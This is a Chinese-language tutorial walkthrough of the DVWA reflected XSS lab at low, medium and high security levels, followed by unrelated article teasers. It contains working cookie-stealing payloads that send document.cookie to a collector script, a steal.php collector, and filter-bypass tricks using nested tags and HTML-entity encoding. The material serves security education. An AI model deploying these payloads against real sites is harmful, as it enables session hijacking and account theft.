int型 判断奇偶_XSS(Reflected) 反射型跨站攻击

9da7c8d84dc11f548937ad98130e0452.png

今天我学习一下反射型XSS。

1、low级别

打开DVWA网站,先切换到low级别,选择XSS(Reflected)

582f2f08e036116b28c0f5ab5f75bbbb.png

先查看其源代码:

<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Feedback for end user
echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}

?>

从上面代码以及执行结果来看,直接把用户输入,也就是name变量值直接显示在界面。试探是否存在XSS,最直接的方法是输入payload代码 <script>alert("xss")</script>,执行查看结果,如果能够弹出alert对话框,则证明存在xss。

a47c2c382f5876686e15fd6533f42f34.png

DVWA网站上,在上面提交<script>alert("xss")</script>,,出现上面提示框,则证明该网站存在xss攻击漏洞。

利用这个XSS,我们可以获取用户的cookie或session,获得后,可以构造“合法用户”去访问网站。首先编写js文件,在窗口输入中,输入后执行这个JS文件。JS代码如下:

document.write("<form action='http://192.168.92.129/DVWA/steal.php' name='exploit' method='post' style='display:none'>");

document.write("<input type='hidden' name='data' value='"+document.cookie+"'>");

document.write("</form>");

document.exploit.submit();

上面代码主要是构造一个页面,这个页面做一个隐藏的form表单和隐藏域,内容是把当前网站的cookie提交表单后,提交到steal.php文件处理。在攻击时,这个js文件和这个php文件以及数据库是放在攻击者自己的服务器上。这里我把他们都放在了同一个网站里,原理是相同的。

由steal.php文件完成把cookie写入文件,steal.php文件内容如下。

<?php

header("content-type:text/html;charset=utf-8");

$conn=mysqli_connect("localhost","root","123456");

mysqli_select_db($conn,"dvwacookie");

if(isset($_GET['data']))

{

$sql="insert into low(cookie) values('".$_GET['data']."');";

$result=mysqli_query($conn,$sql);

echo "1</br>";

mysqli_close();

}

else if(isset($_POST['data']))

{

$sql="insert into low(cookie) values('".$_POST['data']."');";

if (mysqli_query($conn,$sql)) {

echo "scuess!";

} else {

echo "Error: " . $sql . "<br>" . mysqli_error($conn);

}

echo "2</br>".$_POST['data']."</br>";

mysqli_close();

}

else {

$sql="select * from low";

$result=mysqli_query($conn,$sql);

while($row=mysqli_fetch_array($result))

{

echo "cookie is:".$row[1]."</br>";

}

mysqli_close();

}

?>

上面代码主要根据是get还是post,取数据函数不同。在连接数据库后,把cookie写入到表low中。建库和表的SQL语句如下。

这个库表的建立sql语句

SET FOREIGN_KEY_CHECKS=0;

DROP TABLE IF EXISTS `high`;

CREATE TABLE `high` (

`id` int(11) NOT NULL AUTO_INCREMENT,

`cookie` varchar(100) COLLATE utf8_unicode_ci NOT NULL,

PRIMARY KEY (`id`)

) ENGINE=MyISAM DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci;

DROP TABLE IF EXISTS `low`;

CREATE TABLE `low` (

`id` int(11) NOT NULL AUTO_INCREMENT,

`cookie` varchar(100) COLLATE utf8_unicode_ci NOT NULL,

PRIMARY KEY (`id`)

) ENGINE=MyISAM AUTO_INCREMENT=2 DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci;

DROP TABLE IF EXISTS `medium`;

CREATE TABLE `medium` (

`id` int(11) NOT NULL AUTO_INCREMENT,

`cookie` varchar(100) COLLATE utf8_unicode_ci NOT NULL,

PRIMARY KEY (`id`)

) ENGINE=MyISAM AUTO_INCREMENT=8 DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci;

在输入窗口下,输入下面payload进行攻击,上面代码中为了调试,添加打印语句,实际攻击中,不会有内容输出到页面上。

<script src=http://192.168.92.129/DVWA/cookie.js></script>

相当于在浏览器地址栏执行下面语句:

http://192.168.92.129/DVWA/vulnerabilities/xss_r/?name=<script src=http://192.168.92.129/DVWA/cookie.js></script>

我们在这里演示为了方便,放在了同一个域下面。实际上src可以加载远程服务器的js。

执行完成后,看到已经插入到low表中。

05553df4f2eeff39dcda883c5c8007cf.png

如果没有插入记录成功,则可能是mysql设置问题,执行下面语句。

1 show variables like "sql_mode";

2 set sql_mode='';

3 set sql_mode='NO_ENGINE_SUBSTITUTION,STRICT_TRANS_TABLES';

XSS攻击方式经常是攻击者可以将带有执行脚本的链接地址伪装后发给正在访问某个网站(例如某银行网银)的受害者,受害者点击时就会加载远程服务器(这里是win7)的cookie.js脚本,这里要提一点,用src加载远程服务器的js脚本,那么js的源就会变成加载它的域,从而可以读取该域的数据。

2、Medium级别

下面是我们学习Medium级别,切换到中级,查看网站代码:

0443f7ae96ccc56d17c17c517d207190.png

可以看到使用str_replace函数把<script>替换为空格了。所以我们在构造js文件时,可以利用str_replace函数只能替换一次,且不区分大小写的特点,在提交表单时,把js语句调整为<scri<script>pt src=http://192.168.92.129/DVWA/cookie.js></script>

上面str_replace函数是对name变量字符串进行正则替换,如果找到<script>替换为空,替换后执行的还是<script src=http://192.168.92.129/DVWA/cookie.js></script> 语句。

同时修改steal.php中的表,写到medium表中。执行后,检查medium表,可以查看到把cookie写到medium表中。

a87387a9d87e07e0da5c7af288b3ac46.png

3、High级别

下面学习安全级别设置为Hight的情况。设置后查看源代码

e913905a0f88ae9a936eea4e49629d87.png

发现添加了对大小写绕过的判断,而且根据正则表达式过滤,提交内容只要有script顺序出现的字母都一律过滤掉,只是过滤了script标签,但是有一些javascript事件后仍然能执行javascript代码,构造payload。

上面preg_replace字符串替换函数中,使用的正则表达式。

preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name'表示在在字符串中找script6个字符,i是不区分大小写,这些字符中间可以或前后可以有其它多个字符。

<img src=# οnerrοr=alert("xss")> 能够执行,证明还是存在XSS攻击。通过加载一个不存在的图片出错触发javascript on error事件,继续弹框,证明出来有xss,这样的payload还有很多。

那么输入下面语句试试,发现没有得到cookie

<img

src=# οnerrοr=(location.href="http://192.168.92.129/DVWA/steal.php?data="+document.cookie)>

分析上面语句,发现了问题,在上面语句中,发现了可以构成script,看下面我标记后的语句

<img

src=# οnerrοr=(location.href="http://192.168.92.129/DVWA/steal.php?data="+document.cookie)>

7406f72203c68feaba74d40511d0228b.png

说明把最后一个t之前的全部过滤了。

把其中一个字符使用ASCII编码,防止出现script字符串。

可以使用转码网站http://www.ofmonkey.com/encode/ascii

b729f71105d0b7d9a84492b39c7b2562.png

<img

src=# οnerrοr=(locat&#x69;on.href="http://192.168.92.129/DVWA/steal.php?data="+document.cookie)>

则能正常执行,获得cookie

我们再替换其中一个字符t,ASCII编码 &#116;

<img

src=# οnerrοr=(locat&#x69;on.href="http://192.168.92.129/DVWA/s&#116;eal.php?data="+document.cookie)>

执行完成后,也会得到cookie。字符转码是在攻击中经常使用的技术。

关注安全 关注作者

(完)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/345217.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

junit 运行_运行,JUnit! 跑!!!

junit 运行JUnit与JavaScript和SVN一起是程序员经常开始使用的一些技术&#xff0c;甚至没有读过一篇博客文章&#xff0c;更不用说一本书了。 也许这是一件好事&#xff0c;因为它们看起来足够简单并且易于理解&#xff0c;因此我们可以立即使用它们而无需任何手册&#xff0c…

将Host Cobol批次和Monolith Webapps移动到云和微服务

在Amazon Event “从大型机到微服务– Vanguard迁移到云”中非常有趣的演示。 以下部分可用作迁移模式 &#xff1a;如何从大型机迁移到微服务的不同方式&#xff1a; 重新托管 再造 重构 使用Linux和Java重新平台 回购 退役 全部结合 该演示文稿还展示了Vanguard的Cloud…

flutterapp部分手机无法打开_Flutter应用程序在最新更新后无法运行

Environment DetailsWindows VS CodeFlutter 1.17.5 • channel stable • https://github.com/flutter/flutter.gitFramework • revision 8af6b2f038 (3 days ago) • 2020-06-30 12:53:55 -0700Engine • revision ee76268252Tools • Dart 2.8.4Error From Debug ConsoleE…

android动态添加的页面怎么加功能_Android跳转应用安装页面

一.低版本跳转方式Intent intent new Intent(Intent.ACTION_VIEW);intent.setDataAndType(uri,"application/vnd.android.package-archive");intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);startActivityForResult(intent, 666);uri是apk的uri记得不要忘了在mani…

字节数组转为二进制数 c#_如何使用字节序列化双精度数组(二进制增量编码,用于低差单调浮点数据集)...

字节数组转为二进制数 c#低延迟系统需要高性能的消息处理和传递。 由于在大多数情况下&#xff0c;数据必须通过有线传输或序列化才能保持持久性&#xff0c;因此编码和解码消息已成为处理管道的重要组成部分。 高性能数据编码的最佳结果通常涉及应用程序数据细节的知识。 本文…

java用户的登录图片_Java 如何用 token 做用户登录认证

1、什么是 token&#xff1f;&#xff1f;&#xff1f;Token 是服务端生成的一串字符串&#xff0c;以作客户端进行请求的一个令牌。2、token 做用户登录认证● 流程3、 Java 实现● 用户登录生成 token&#xff0c;保存到 Redis 中最简单的 token 可由 uid (用户唯一的身份标识…

服务器安装mysql要密码_在阿里云服务器上安装mysql及重置密码

参考链接&#xff1a;https://www.cnblogs.com/ljysy/p/10324854.html下载与安装MySQL&#xff1a;这里采用Yum管理好了各种rpm包的依赖&#xff0c;能够从指定的服务器自动下载RPM包并且安装&#xff0c;所以在安装完成后必须要卸掉&#xff0c;否则会自动更新。1.安装MySQL官…

Corda服务的异步流调用

如何使流程更快&#xff1f; 如果您已经与Corda合作了一段时间&#xff0c;那么您很有可能已经考虑过这一点。 您可以通过以下几方面进行合理的调整来提高性能&#xff1a;事务大小&#xff0c;优化查询并减少整个Flow执行过程中所需的网络跃点数。 在某种程度上&#xff0c;还…

jsf 后台参数到页面_JSF:直接从页面将参数传递给JSF操作方法,这是JavaEE 6+的一个不错的功能...

jsf 后台参数到页面其中一个JSF 2不错的特点出现在Java企业版的JavaEE 6 &#xff0c;是你可以传递参数给喜欢的commandButton和commandLink组件的任何动作元件操作方法。 基于此&#xff0c;您可以最小化托管bean中的方法数量。 另外&#xff0c;为了最小化在bean内部设置的…

mysql odbc ado性能差异_ODBC、OLEDB和ADO之间的关系 ,以及性能比较

学习了.net视频之后&#xff0c;对里面涉及到的数据库连接部分中的一些概念表示很无语。网上很多相关资料&#xff0c;但除了网站不一样外&#xff0c;基本上内容都神一样的一致。现在&#xff0c;我就通过结合看到的一些资料再加上自己的理解试图去解释一下&#xff0c;有不对…

轻松与外来客户进行REST通信

在这个例子中&#xff0c;我们将向您展示如何使用Feign客户端开发一个简单的Spring Boot Application&#xff0c;以使用Weather REST服务。 Spring Boot是基于Java的框架&#xff0c;可简化Web和企业应用程序的构建。 Spring Boot具有嵌入式Tomcat&#xff0c;提供“启动器”…

通过Spring Boot了解H2 InMemory数据库

介绍 基本上&#xff0c;数据库设置涉及几个步骤&#xff0c;然后才能在应用程序中通过已配置的数据源使用它。 在实际项目实施中&#xff0c;这实际上是必需的。 但是&#xff0c;在某些情况下&#xff0c;我们只需要为某些事情完成POC&#xff0c;而整个数据库设置工作仍然是…

mysql多数据源事务_多数据源一致性事务解决方案

spring 多数据源配置spring 多数据源配置一般有两种方案&#xff1a;1、在spring项目启动的时候直接配置两个不同的数据源&#xff0c;不同的sessionFactory。在dao 层根据不同业务自行选择使用哪个数据源的session来操作。2、配置多个不同的数据源&#xff0c;使用一个session…

www.how2j.com_HOW-TO:快速开始使用Spring 4.0,以构建简单的REST-Like API(演练)

www.how2j.comHOW-TO&#xff1a;快速开始使用Spring 4.0&#xff0c;以构建简单的REST-Like API&#xff08;演练&#xff09; 关于使用Spring MVC创建Web API的另一篇教程。 不太复杂。 只是一个演练。 生成的应用程序将提供简单的API&#xff0c;将Mongo作为其持久性&#x…

flutter 返回指定界面_Flutter页面路由导航及传参

转载请注明出处: https://learnandfish.com/概述 每个应用都有很多个页面&#xff0c;在flutter中同样也有很多页面&#xff0c;被称之为路由(Router)&#xff0c;页面之间的跳转通过导航器(Navigator)进行管理。其中 Navigator.push 和 Navigator.pop 是最简单的跳转到新页面和…

正确的工作流程:我应该使用哪个OAuth 2.0流程?

什么是OAuth 2.0 OAuth 2.0是一个已被广泛采用的委托授权框架&#xff0c;已经存在了很多年&#xff0c;并且似乎已经存在。 如果您不熟悉OAuth 2.0的基本概念&#xff0c;可以使用 川崎孝彦写的优秀文章 。 这只是OAuth 2.0各方的简要提醒&#xff1a; 资源所有者–受保护资…

mysql workbench入门_5分钟入门MySQL Workbench

接下来进入下一步&#xff0c;使用Workbench执行sql文件&#xff1a;1.打开Workbench&#xff0c;主页面上点击要connect的连接。2.注意系统偏好设置里&#xff0c;MySQL是running的状态&#xff0c;否则无法执行。创建数据库&#xff1a;点击创建数据库按钮&#xff0c;输入数…

使用Spring Boot和Vue进行有益的开发

“我喜欢编写身份验证和授权代码。” 〜从来没有Java开发人员。 厌倦了一次又一次地建立相同的登录屏幕&#xff1f; 尝试使用Okta API进行托管身份验证&#xff0c;授权和多因素身份验证。 Vue是一个Web框架&#xff0c;由于它的精简和刻薄&#xff0c;最近引起了很多关注。 …

mysql mydumper_系统运维|Mydumper-MySQL数据库备份工具

Mydumper 是 MySQL 数据库服务器备份工具&#xff0c;它比 MySQL 自带的 mysqldump 快很多。它还有在转储的同时获取远程服务器二进制日志文件的能力。Mydumper 的优势并行能力 (因此有高速度) 和性能 (高效的代码避免了耗费 CPU 处理能力的字符集转换过程)更容易管理输出 (每个…

vue调用手机相机相册_详解Vue调用手机相机和相册以及上传

组件选中{{imgList.length}}张文件&#xff0c;共{{bytesToSize(this.size)}}javaScript代码export default {name: "cameras-and-albums",data(){return{imgList: [],datas: new FormData(),files:0,size:0}},methods:{//调用相册&相机fileClick() {$(#upload_f…